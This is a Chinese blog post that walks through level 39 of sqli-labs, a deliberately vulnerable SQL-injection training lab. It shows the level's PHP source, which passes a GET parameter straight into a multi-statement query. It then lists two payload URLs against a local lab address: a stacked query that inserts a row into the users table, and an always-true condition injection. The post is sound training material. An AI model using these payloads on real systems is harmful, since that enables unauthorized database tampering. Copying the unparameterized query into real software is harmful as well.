sqli-Labs————less-39

最新推荐文章于 2022-11-21 11:43:31 发布

FLy_鹏程万里

最新推荐文章于 2022-11-21 11:43:31 发布

阅读量402

点赞数

分类专栏：【渗透测试实战】 # Sqli-labs实战

本文链接：https://blog.csdn.net/Fly_hps/article/details/80288875

版权

【渗透测试实战】同时被 2 个专栏收录

160 篇文章 18 订阅

订阅专栏

Sqli-labs实战

76 篇文章 7 订阅

订阅专栏

Less-39

查看源代码：

<?php
error_reporting(0);
include("../sql-connections/db-creds.inc");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-39 **stacked Query Intiger type**</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
// Check connection
if (mysqli_connect_errno($con1))
{
    echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
    @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
    
    /* store first result set */
    if ($result = mysqli_store_result($con1))
    {
        if($row = mysqli_fetch_row($result))
        {
            echo '<font size = "5" color= "#00FF00">';	
            printf("Your Username is : %s", $row[1]);
            echo "<br>";
            printf("Your Password is : %s", $row[2]);
            echo "<br>";
            echo "</font>";
        }
//            mysqli_free_result($result);
    }
        /* print divider */
    if (mysqli_more_results($con1))
    {
            //printf("-----------------\n");
    }
     //while (mysqli_next_result($con1));
}
else 
    {
	echo '<font size="5" color= "#FFFF00">';
	print_r(mysqli_error($con1));
	echo "</font>";  
    }
/* close connection */
mysqli_close($con1);

}
	else { echo "Please input the ID as parameter with numeric value";}

?>
</font> </div></br></br></br><center>
<img src="../images/Less-39.jpg" /></center>
</body>
</html>

这一关与上一关的区别在于这一关中为数字型注入，至于注入原理还是和之前的一样。下面直接给出payload：
堆叠注入：

http://192.168.11.136/sqli-labs/Less-39?id=1;insert into users(id,username,password) values ('100','hps','hello')--+

盲注：

http://192.168.11.136/sqli-labs/Less-39?id=-1||1--+

FLy_鹏程万里

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
打赏
0
评论
sqli-Labs————less-39

Less-39查看源代码：&lt;?phperror_reporting(0);include("../sql-connections/db-creds.inc");?&gt;&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tr...
复制链接

扫一扫